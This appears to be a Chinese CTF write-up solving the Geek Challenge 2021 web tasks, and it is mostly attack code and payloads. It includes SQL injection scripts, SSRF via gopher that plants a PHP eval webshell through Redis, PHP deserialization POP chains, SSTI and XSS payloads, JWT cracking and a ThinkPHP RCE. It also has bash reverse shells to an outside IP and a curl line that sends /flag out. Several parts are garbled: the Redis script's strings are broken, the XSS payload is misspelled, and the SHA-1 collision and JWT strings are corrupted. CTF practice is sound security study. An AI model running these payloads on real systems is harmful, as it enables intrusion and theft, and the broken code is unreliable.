

[极客大挑战2021]web wp

原创

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订阅专栏

极客大挑战2021

Welcome2021

F12, 提示 [请使用WELCOME请求方法来请求此网页](#)

burp抓包, 修改请求方法, 发现 [f1111aaaggg9.php](#)

再次请求得到flag

```
WELCOME /f1111aaaggg9.php HTTP/1.1
Host: 1.14.102.22:8011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0)
Gecko/20100101 Firefox/92.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

HTTP/1.1 204 No Content
Date: Fri, 15 Oct 2021 03:29:08 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Welcome_Flag: SYC{Welcom3_t0_Geek_2o21!!}
Connection: close
```

Dark

Tor浏览器访问即可

babysql

查库: babysql

```
uname=-1' union select database(),2,3,4#&pwd=1
```

查表: [jeff,jeffjokes](#)

```
uname=-1' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=database()#&pwd=1
```

查列:

jeff

```
uname,pwd,zzzz,uselesss
```

```
uname=-1' union select group_concat(column_name),2,3,4 from information_schema.columns where table_name="jeff"%23&pwd=1
```

jeffjokes

```
id,english,chinese,misc,useless
```

```
uname=-1' union select group_concat(column_name),2,3,4 from information_schema.columns where table_name="jeffjokes"%23&pwd=1
```

查数据:

没有查出flag

```
uname=-1' union select group_concat(chinese),2,3,4 from jeffjokes#&pwd=1
```

有一句话, 猜测是提示:

编译器从来不给Jeff编译警告, 而是Jeff警告编译器,所有指针都是指向Jeff的,gcc的-O4优化选项是将你的代码邮件给Jeff重写一下,当Jeff触发程序的程序性能采样时,循环会因害怕而自动展开。Jeff依然孤独地等待着数学家们解开他在PI的数字中隐藏的笑话

这是谷歌大神jeff bean的事迹

ps: sb了, 找错库了

```
python2 sqlmap.py -r 1.txt -D flag -T flflag -C "flllllllag" --dump
```

babyphp

robots.txt, 得到

```
noobcurl.php
```

进入

```

<?php
function ssrf_me($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    echo $output;
}

if(isset($_GET['url'])){
    ssrf_me($_GET['url']);
}
else{
    highlight_file(__FILE__);
    echo "<!-- 有没有一种可能, flag在根目录 -->";
}

```

考察ssrf

```
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 屏蔽回显
```

先试试file协议

```
file:///etc/passwd
```

有回显

提示flag在根目录

```
file:///flag
```

where_is_my_FUMO

```

<?php
function chijou_kega_no_junnka($str) {
    $black_list = [ ">", ";", "|", "{", "}", "/", " " ];
    return str_replace($black_list, "", $str);
}

if (isset($_GET['DATA'])) {
    $data = $_GET['DATA'];
    $addr = chijou_kega_no_junnka($data['ADDR']);
    $port = chijou_kega_no_junnka($data['PORT']);
    exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {
    highlight_file(__FILE__);
}

```

反弹shell题目

```
bash -c "bash -i < /dev/tcp/addr/port"
```

写一个脚本反弹

```
import requests

url='http://1.14.102.22:8115/'
params={
    'DATA[ADDR]':'ip',
    'DATA[PORT]':'39543'
}

headers={
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
}

a=requests.get(url=url,params=params,headers=headers)
print(a.text)
```

发现能成功反弹，但是无法执行命令，应该是由于执行的是输入重定向导致攻击机无法回显

那么如果我们利用这个输入的shell在靶机上再执行一次反弹shell并监听呢？

嘿嘿，先反弹shell之后，再在攻击机上输入

```
bash -i >& /dev/tcp/ip/39542 0>&1
```

换一个端口监听，成功拿到shell

```
ls
bin
boot
dev
etc
flag.png
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
www-data@c05e6f3f719d:/$
```

提示说flag在根目录的图片中

逐行读取

```
cat flag.png > /tmp/zz.txt|base64
cat zz.txt | tr "\n" "}"> 11.txt
```

babyPOP

```
<?php
class a {
    public static $Do_u_like_JiaRan = false;
    public static $Do_u_like_AFKL = false;
}

class b {
    private $i_want_2_listen_2_MaoZhongDu;
    public function __toString()
    {
        if (a::$Do_u_like_AFKL) {
            return exec($this->i_want_2_listen_2_MaoZhongDu);
        } else {
            throw new Error("Noooooooooooooooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!!!!!");
        }
    }
}

class c {
    public function __wakeup()
    {
        a::$Do_u_like_JiaRan = true;
    }
}

class d {
    public function __invoke()
    {
        a::$Do_u_like_AFKL = true;
        return "关注嘉然," . $this->value;
    }
}

class e {
    public function __destruct()
    {
        if (a::$Do_u_like_JiaRan) {
            ($this->afkl)();
        } else {
            throw new Error("Noooooooooooooooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!!!!!");
        }
    }
}

if (isset($_GET['data'])) {
    unserialize(base64_decode($_GET['data']));
} else {
    highlight_file(__FILE__);
}
```

前置:

```
__toString:类被当成字符串时的回应方法
__invoke(): 调用函数的方式调用一个对象时的回应方法
__wakeup:执行unserialize()时, 先会调用这个函数
__destruct: 类的析构函数
```

代码审计:

最终我们通过b类中的exec函数执行命令

```
<?php
class a {
    public static $Do_u_like_JiaRan = false;
    public static $Do_u_like_AFKL = false;
}

class b {
    public $i_want_2_listen_2_MaoZhongDu;
    public function __toString()
    {
        if (a::$Do_u_like_AFKL) {
            // return exec($this->i_want_2_listen_2_MaoZhongDu);
            return "123";
        } else {
            throw new Error("Noooooooooooooooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!!!!!");
        }
    }
}

class c {
    public $aaa;
    public function __wakeup()
    {
        a::$Do_u_like_JiaRan = true;
    }
}

class d {
    public function __invoke()
    {
        a::$Do_u_like_AFKL = true;
        return "关注嘉然," . $this->value;
    }
}

class e {
    public function __destruct()
    {
        if (a::$Do_u_like_JiaRan) {
            $this->afkl(); //这个地方要将前面的括号去掉, 否则在windows下跑不出来
        } else {
            throw new Error("Noooooooooooooooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!!!!!");
        }
    }
}

$c = new c;
$e = new e;
$d = new d;
$b = new b;

$b->i_want_2_listen_2_MaoZhongDu="bash -c \"bash -i >& /dev/tcp/1.117.171.248/39543 0>&1\""; //服务器开启监听
//这个也可以 curl http://xxx?c=$(cat /flag)

$d->value = $b;
$e->afkl = $d;
$c->aaa = $e;
echo base64_encode(serialize($c));
```

在反弹shell时虽然能正常交互，但服务器会报

```
sh: cannot set terminal process group (-1): Inappropriate ioctl for device
sh: no job control in this shell
```

可能原因

That error message likely means shell is probably calling `tcsetpgrp()` and getting back `errno=ENOTTY`. That can happen if the shell process does not have a controlling terminal. The kernel doesn't set that up before running in it on `/dev/console`.

The solution: use a real terminal device like `/dev/tty0`.

givemeyourlove

```
<?php
// I hear her lucky number is 123123
highlight_file(__FILE__);
$ch = curl_init();
$url=$_GET['url'];
if(preg_match("/^https|dict|file:/is",$url))
{
    echo 'NO NO HACKING!!!';
    die();
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
```

提示打有认证redis

```
# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen

url = "http://1.14.71.112:44423/?url="
gopher = "gopher://127.0.0.1:6379/_"

def get_password():
    f = open("message.txt", "r")
    return f.readlines()

def encoder_url(cmd):
    urlencoder = quote(cmd).replace("%0A", "%0D%0A")
    return urlencoder

###-----暴破密码，无密码可删除-----###
for password in get_password():
    # 攻击脚本
    path = "/var/www/html"
    shell = "\\n\\n\\n<?php eval($_POST['cmd']);?>\\n\\n\\n"
    filename = "shell.php"

    cmd = ""
    auth %s
    quit
    "" % password
    # 二次编码
    url = encoder_url(encoder_url(cmd))
```


```

encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
# 发起请求
print(payload)
request = Request(payload)
response = urlopen(request).read().decode()
print("This time password is:" + password)
print("Get response is:")
print(response)
if response.count("+OK") > 1:
    print("find password : " + password)
    #####-----如无密码, 直接从此开始执行-----#####
    cmd = ""
    auth %s
    config set dir %s
    config set dbfilename %s
    set test1 "%s"
    save
    quit
    "" % (password, path, filename, shell)
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
# 发起请求
request = Request(payload)
print(payload)
response = urlopen(request).read().decode()
print("response is:" + response)
if response.count("+OK") > 5:
    print("Write success! ")
    exit()
else:
    print("Write failed. Please check and try again")
    exit()
#####-----如无密码, 到此结束-----#####
print("Password not found!")
print("Please change the dictionary,and try again.")

```

跑个脚本, 进入shell.php

尝试POST数据 `cmd=phpinfo()`

PHP Version 5.4.43 	
System	Linux fbe08bc8ce1d 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2011 x86_64
Build Date	Jul 13 2015 21:05:33
Configure Command	'./configure' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--with-apxs2' '--disable-cgi' '--enable-mysqlnd' '--with-curl' '--with-openssl' '--with-pcre' '--with-readline' '--with-recode' '--with-zlib'
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/usr/local/etc/php
Loaded Configuration File	(none)
Scan this dir for additional .ini files	/usr/local/etc/php/conf.d
Additional .ini files parsed	(none)
PHP API	20100412
PHP Extension	20100525
Zend Extension	220100525
Zend Extension Build	API220100525.NTS
PHP Extension Build	API20100525.NTS
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	disabled
Zend Memory Manager	enabled

有回显，说明写入成功，蚁剑连接，flag在根目录

使用反弹shell的方法不知道为什么没有连接上，之后再看看吧！（似乎只能centos）

参考文章：

<https://www.freebuf.com/articles/web/263556.html>

https://blog.csdn.net/qq_43665434/article/details/115414738

<https://xz.aliyun.com/t/5665#toc-4>

https://ca01h.top/Web_security/basic_learning/17.SSRF%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/#%E6%BC%8F%E6%B4%9E%E4%BA%A7%E7%94%9F

babyPy

一道简单的ssti

先跑出 `os._wrap_close`，显示133

```

import json

a = ""
<class 'type'>,...,<class 'subprocess.Popen'>
""

num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i

for k, v in enumerate(allList):
    if "os._wrap_close" in v:
        print(str(k) + "--->" + v)

```

所以构造payload

```
{{"__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('cat /flag').read()}}
```

Baby_PHP_Black_Magic_Enlightenment

```

<?php
echo "PHP is the best Language <br/>";
echo "Have you ever heard about PHP Black Magic<br/>";
error_reporting(0);
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
    echo file_get_contents('./2.php');
    echo "How's that possible";
}
highlight_file(__FILE__);
//Art is Long, but Life is short.
?>

```

第一步：弱比较

```
?password=10000a
```

提示 `baby_magic.php`

```

<?php
error_reporting(0);

$flag=getenv('flag');
if (isset($_GET['name']) and isset($_GET['password']))
{
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
        die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else
    echo '<p>Login first!</p>';
highlight_file(__FILE__);
?>

```

第二步：数组绕过

```
?name[]=1&password[]=2
```

提示 `baby_revenge.php`

```

<?php
error_reporting(0);

$flag=getenv('flflag');
if (isset($_GET['name']) and isset($_GET['password']))
{
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if(is_array($_GET['name']) || is_array($_GET['password']))
        die('There is no way you can sneak me, young man!');
    else if (sha1($_GET['name']) === sha1($_GET['password']))
    {
        echo "Hanzo:It is impossible only the tribe of Shimada can controlle the dragon<br/>";
        die('Genji:We will see again Hanzo'.$flag.'<br/>');
    }
    else
        echo '<p>Invalid password.</p>';
}
else
    echo '<p>Login first!</p>';
highlight_file(__FILE__);
?>

```

第三步：由于sha1是强比较，利用sha1碰撞，传入两个SHA1值相同而不一样的pdf文件

```
?name=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%7F%8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%1%A8t%CD%0C%0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&password=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%7F%85%B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%10%26%FE%DF%B3%DC8%E9j%2/%E7%BDr%8F%0EE%BC%0F%D2%3C%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%1%A8dy%0C%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
```

提示: `here_s_the_flag.php`

```
<?php
$flag=getenv('fl11111111lag');
if(strpos("hackerDJ",$_GET['id'])) {
    echo("<p>not allowed!</p>");
    exit();
}

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "hackerDJ")
{
    echo "<p>Access granted!</p>";
    echo "<p>flag: $flag </p>";
}
highlight_file(__FILE__);
?>
```

strpos() 函数搜索字符串在另一字符串中的第一次出现。

也就是说不能出现hackerDJ否则退出循环。在这之后又是强比较判断。

方法: url二次编码绕过

```
?id=hackerD%254A
```

over!

蜜雪冰城甜蜜蜜

[查看源码](#)

```
/*
 * 生成签名
 * @params 待签名的json数据
 * @secret 密钥字符串
 */
function makeSign(params, secret){
    var ksort = Object.keys(params).sort();
    var str = '';
    for(var ki in ksort){
        str += ksort[ki] + '=' + params[ksort[ki]] + '&';
    }

    str += 'secret=' + secret;
    var token = hex_md5(str).toUpperCase();
    return rsa_sign(token);
}

/*
 * rsa加密token
 */
function rsa_sign(token){
    var pubkey='-----BEGIN PUBLIC KEY-----';
    pubkey+='MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAbfx4VggVVpcfCjzQ+nEiJ2DL';
    pubkey+='nRg3e2QdDf/m/qMvtqXi4xhwvbpHfaX46CzQznU819NJtF28pTSZSKnE/791MJfV';
    pubkey+='nucVcJcxRAEcpPprb8X3hfdxKEEYjOPAuVseewmO5cM+x7zi9FWbZ89uOp5sXjMn';
    pubkey+='1VjDaIczKTRx+7vn2wIDAQAB';
    pubkey+='-----END PUBLIC KEY-----';
    // 利用公钥加密
```

```

var encrypt = new JSEncrypt();
encrypt.setPublicKey(pubkey);
return encrypt.encrypt(token);
}

/*
 * 获取时间戳
 */
function get_time(){
    var d = new Date();
    var time = d.getTime()/1000;
    return parseInt(time);
}

//secret 密钥
var secret = 'e10adc3949ba59abbe56e057f20f883e';

$("#[href='#']").click(function(){

    var params = {};
    console.log(123);

    params.id = $(this).attr("id");
    params.timestamp = get_time();
    params.fake_flag= 'SYC{lingze_find_a_girlfriend}';
    params.sign = makeSign(params, secret);
    $.ajax({
        url : "http://106.55.154.252:8083/sign.php",
        data : params,
        type:'post',
        success:function(msg){
            $('#text').html(msg);
            alert(msg);
        },
        async:false
    });
})

```

发现需要验证，其中将id也加密了，所以尝试前端js修改id为9，再点击，得到flag

雷克雅未克

```

GET /check.php HTTP/1.1
Host: 106.55.154.252:1209
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0)
Gecko/20100101 Firefox/93.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif
,image/webp,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://106.55.154.252:1209/index.php
Cookie: x=64.963943; y=-19.02116
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 5.23.95.255

```

修改两个地方，得到一串jsfuck，丢到控制台输出即可

babyxss

```
<script>
function check(input){input = input.replace(/alert/, '');return '<script>console.log(""+input+"");</script>';}
</script>
```

给出了代码，发现过滤了alert且input内容用引号包裹。

payload:

```
");\u0061lernt(1);("
```

闭合前后引号，字符过滤这里我们使用了unicode编码。

人民艺术家

登录错误后跳转 `/fail.php`，提示正确的账号密码

The screenshot shows a browser's developer tools with the Network tab selected. The request is a POST to `/check.php` with a body containing `username=liubo&password=renminyishujia`. The response is a 200 OK from Apache/2.4.38 (Debian) with a Content-Type of `text/html; charset=UTF-8`. The response body contains a JavaScript alert: `<script> alert('你是假管理员！不是真的admin');parent.location.href='fail.php'; </script>`

发现有一串JWT，且提示需要2019年的管理员

Encoded PASTE A TOKEN HERE

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0aW11IjoieMjAyMSIsIm5hbWUiOiJmYWt1X2FkbWluIn0.rc1ssTrPKaSGoIPJZ0RzKIb1h_DDTtxzHQIQ0V1bj7g
```

Decoded EDIT THE PAYLOAD AND SECRET


The screenshot shows a JWT decoding tool interface. It has three main sections: 'HEADER: ALGORITHM & TOKEN TYPE', 'PAYLOAD: DATA', and 'VERIFY SIGNATURE'. The header section shows a JSON object: `{ "alg": "HS256", "typ": "JWT" }`. The payload section shows a JSON object: `{ "time": "2021", "name": "fake_admin" }`. The verify signature section shows the algorithm `HMACSHA256` and a formula: `base64UrlEncode(header) + "." + base64UrlEncode(payload), your-256-bit-secret`. There is a checkbox labeled `secret base64 encoded` which is currently unchecked.

猜测需要修改time为2019, name为admin

使用jwtcrack爆破一下密钥

```
root@kali:/home/cosmos/桌面/c-jwt-cracker-master# docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0aW1lIjoiaW1lIj0iMjAyMSIsIm5hbWUiOiJmYWtlX2FkbWluIn0.rc1sTrPKaSGoIPJZ0RxKIb1h_DDTtxzHQIQ0Vlbj7g
Secret is "1234"
```

新增header为JWT



得到flag

成全

Thinkphp5

我们使用s参数加载模块试一试

```
http://106.55.154.252:500/public/?s=1
```

发现开启了debug模式, 版本为5.0.12

```
?s=index/\think\app\invokefunction&function=phpinfo&vars[0]=100
```

找个poc测试一下phpinfo, 看到disable functions, 把命令执行函数都过滤了

```
dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link,ini_set,chdir
```

利用回调函数进行文件读取

```
?s=index/\think\app\invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=/flag
```

官方wp方法:

可以通过log日志来包含getshell

首先我们要知道tp的默认日志形式/202110/11.log 文件夹以年份加月数其中的日志为每日的形式

那么我们就可以爆破日志了

当我们爆破到15日时会发现写好的shell

可以通过shell读flag了

SoEzUnser

```
<?php
class fxxk{
    public $par0;
    public $par1;
    public $par2;
    public $par3;
    public $kelasi;

    public function __construct($par0,$par1,$par2,$par3){
        $this -> par0 = $par0;
        $this -> par1 = $par1;
        $this -> par2 = $par2;
        $this -> par3 = $par3;
    }
    public function newOne(){
        $this -> kelasi = new $this -> par0($this -> par1,$this -> par2);
    }

    public function wuhu(){
        echo('syclover   !'.$this -> kelasi.'   yyds');
    }

    public function qifei(){
        // $ser = serialize($this -> kelasi);
        // $unser = unserialize($ser);
        $this -> kelasi -> juts_a_function();
    }

    public function __destruct(){
        if(!empty($this -> par0) && (isset($this -> par1) || isset($this -> par2))){
            $this -> newOne();
            if($this -> par3 == 'unser'){
                $this -> qifei();
            }
            else{
                $this -> wuhu();
            }
        }
    }

    public function __wakeup(){
        @include_once($this -> par2.'hint.php');
    }
}
highlight_file(__FILE__);
$hack = $_GET['hack'];
unserialize($hack);
```

第一步：php伪协议读取hint

```
php://filter/read=convert.base64-encode/resource=
```

得到


```
$hint = '向管理员的页面post一个参数message(告诉他, "iwantflag") 和 另一个参数 url (它会向这个url发送一个flag';  
$hint .= '管理员的页面在当前目录下一个特殊文件夹里';  
$hint .= '但是我不知道 (你也猜不到的) 文件夹名称和管理员页面的名称, 更坏的消息是只能从127.0.0.1去访问, 你能想个办法去看看 (别扫不出来!!!)';
```

使用php原生类打ssrf 以及 遍历目录

首先获取管理员页面, 使用FilesystemIterator类

```
<?php  
  
class fxxk{  
    public $par0 = "FilesystemIterator";  
    public $par1 = "/www/wwwroot/ctf.rigelx.top/unserbucket/aaaaaaaaaafxadwagaefae/";  
    public $par2 = null;  
    public $par3 = 'unsera';  
    public $kelasi;  
}  
  
echo serialize(new fxxk);  
  
?>
```

得到管理员页面地址之后就可以打ssrf了, 使用 SoapClient 类进行 SSRF, 但是这里要打一个POST请求, 所以还需要利用这里 HTTP头部存在的一个CRLF漏洞, 插入任意的HTTP头, Content-Type 的值要设置为 `application/x-www-form-urlencoded`, 还需要修改包中原有的Content-Type 的值, 由于 Content-Type 在 User-Agent 的下面, 所以我们可以通过 SoapClient 来设置 User-Agent, 将原来的 Content-Type 挤下去, 从而再插入一个新的 Content-Type。脚本里的Content-Type按照实际的字符数改一下

```
<?php  
  
class fxxk{  
    public $par0 = "SoapClient";  
    public $par1 = null;  
    public $par2 = array('uri'=>'http://127.0.0.1','location' => 'http://127.0.0.1/unserbucket/aaaaaaaaaafxadwagaefae/UcantGuess.php','user_agent'=>'qqq^^Content-Type: application/x-www-form-urlencoded^^Content-Length: 50^^^message=iwantflag&url=http://ip:7777/11');  
    public $par3 = 'unser';  
    public $kelasi;  
}  
  
$b = serialize(new fxxk);  
$b = str_replace('^^','\r\n',$b);  
echo urlencode($b);  
  
?>
```

这里换行符是 `\r\n` 千万别搞错 不然最终数据包每个http头前就会多个 `\r` 出来 导致bad request

easyPOP

```

<?php
class a {
    public function __destruct()
    {
        $this->test->test();
    }
}

abstract class b {
    private $b = 1;

    abstract protected function eval();

    public function test() {
        ($this->b)();
    }
}

class c extends b {
    private $call;
    protected $value;

    protected function eval() {
        if (is_array($this->value)) {
            ($this->call)($this->value);
        } else {
            die("you can't do this :(");
        }
    }
}

class d {
    public $value;

    public function eval($call) {
        $call($this->value);
    }
}

if (isset($_GET['data'])) {
    unserialize(base64_decode($_GET['data']));
} else {
    highlight_file(__FILE__);
}

```

构造过程中的tricks

对象的复用

父类的私有属性序列化

千奇百怪的动态函数/方法调用

POC:

```

<?php

class a
{
    public $test;
}

abstract class b
{
    private $b;

    public function __construct()
    {
        $this->b = [$this, 'eval'];
    }
}

class c extends b
{
    private $call;
    protected $value;

    public function __construct()
    {
        parent::__construct();
        $this->call = [new d('system'), 'eval'];
        $this->value = [new d('cat /flag'), 'eval'];
    }
}

class d
{
    public $value;

    public function __construct($command)
    {
        $this->value = $command;
    }

    public function eval($call)
    {
        $call($this->value);
    }
}

$a = new a();
$a->test = new c();
echo serialize($a);
print("\r\n\r\n");
echo base64_encode(serialize($a));

```

```

import re
from flask import Flask, render_template, render_template_string, request

app = Flask(__name__)

def isLegalParam(param):
    return (re.search(r'\'|\'|\"|_|{|.*}|{%.*%}|\\[\\]', param, re.M|re.S) is None)

@app.route('/')
def main():
    return render_template("index.html")

@app.route('/calc')
def calc():
    formula = request.args.get("calc")
    answer = request.args.get("answer")
    if isLegalParam(formula) and isLegalParam(answer):
        answerHtml = formula + "=" + answer
    else:
        answerHtml = "Data illegality."
    return render_template_string(answerHtml)

@app.route("/hint")
def hint():
    with open(__file__, "rb") as f:
        file = f.read()
    return file

if __name__ == '__main__':
    app.run(host="0.0.0.0")

```

过滤了一堆

```
' ' " _ {{}} {% %} [ ]
```

前端逻辑

```

function getAnswer() {
    let src = "";
    let formula = document.getElementById("formula").value;
    try {
        let answer = eval(formula);
        if (Number.isInteger(answer)) {
            src = "/calc?calc=" + encodeURIComponent(formula) + "&answer=" + encodeURIComponent(answer);
        } else {
            src = "/calc?calc=" + encodeURIComponent(formula) + "&answer=error";
        }
    } catch {
        src = "/calc?calc=" + encodeURIComponent(formula) + "&answer=error";
    }
    document.getElementById("calc").src = src
}

```

利用attr弹出属性并使用request.args来规避字符串。

```
http://easypy/calc?calc= {{(1=&answer=1)|attr(request.args.class)|attr(request.args.mro)|attr(request.args.getitem)(2)|attr(request.args.subclasses())|attr(request.args.getitem)(133)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)(request.args.popen)(request.args.data)|attr(request.args.read)()}}&class=__class__&mro=__mro__&getitem=__getitem__&subclasses=__subclasses__&init=__init__&globals=__globals__&popen=popen&data=cat+/flag&read=read
```

期末不挂科就算成功

F12, 注释中提示 `debug.php`

进入提示伪协议, 尝试伪协议读取源码

```
/debug.php?file=php://filter/read=convert.base64-encode/resource=index.php
```

得到

```
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
// 你当前位于学校172.17.0.0/24网段下 其实还有台机子里面可以修改成绩 我偷偷告诉你password是123456,name是admin,//result必须要改成60 不然学校会查的!!!
?>
```

明显是SSRF, 扫一下内网主机

利用gopher打

```
import urllib.parse
test = \
"""POST /index.php HTTP/1.1
Host:172.17.0.7:80
Content-type: application/x-www-form-urlencoded
Content-length: 36

name=admin&password=123456&result=60
"""

tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_' + new
print(result)
```

需要二次编码

```
?url=gopher://172.17.0.7:80/_%50%4f%53%54%25%32%30%2f%69%6e%64%65%78%2e%70%68%70%25%32%30%48%54%54%50%2f%31%2e%31%25%30%44%25%30%41%48%6f%73%74%25%33%41%25%32%30%31%37%32%2e%31%37%2e%30%2e%37%25%33%41%38%30%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%41%25%32%30%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%25%33%41%25%32%30%33%36%25%30%44%25%30%41%25%30%44%25%30%41%6e%61%6d%65%25%33%44%61%64%6d%69%6e%25%32%36%70%61%73%73%77%6f%72%64%25%33%44%31%32%33%34%35%36%25%32%36%72%65%73%75%6c%74%25%33%44%36%30%25%30%44%25%30%41
```

或者

```
gopher://172.17.0.7:80/_POST%2520/index.php%2520HTTP/1.1%250d%250AHost:172.17.0.7%250d%250AContent-Type:application/x-www-form-urlencoded%250d%250AContent-Length:36%250d%250A%250d%250Aname=admin%26password=123456%26result=60%250d%250A
```

anotherSQL

fuzz一下，和报错注入相关的基本被过滤了，但还有floor报错注入，也可以考虑盲注

```
import requests
url = "http://47.100.242.70:4003/check.php"
flag = ""
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Content-Type': 'application/x-www-form-urlencoded'
}
for i in range(1,40):
    for j in range(33,126):
        str1 = flag+chr(j)
        #payload = "uname=a'+or+(select+left(database(),{ })='{ }')#&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95".format(i, str1) #true___flag
        #payload = "uname=a'+or+(select+left((select+group_concat(table_name)+from+information_schema.tables+where+table_schema='true___flag'),{ })='{ }')#&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95".format(i, str1) #syclover
        #payload = "uname=a'+or+(select+left((select+group_concat(column_name)+from+information_schema.columns+where+table_name='syclover'),{ })='{ }')#&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95".format(i, str1) #flag
        payload = "uname=a'+or+(select+left((select+group_concat(flag)+from+true___flag.syclover),{ })='{ }')#&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95".format(i, str1) #syc{u_4n0vv_3rr0r_inj3c410n}
        #print(payload)
        r = requests.post(url, data = payload, headers=headers)
        #print(r.text)
        if "your uname:admin" in r.text:
            flag += chr(j)
            print(flag.lower())
            break
```
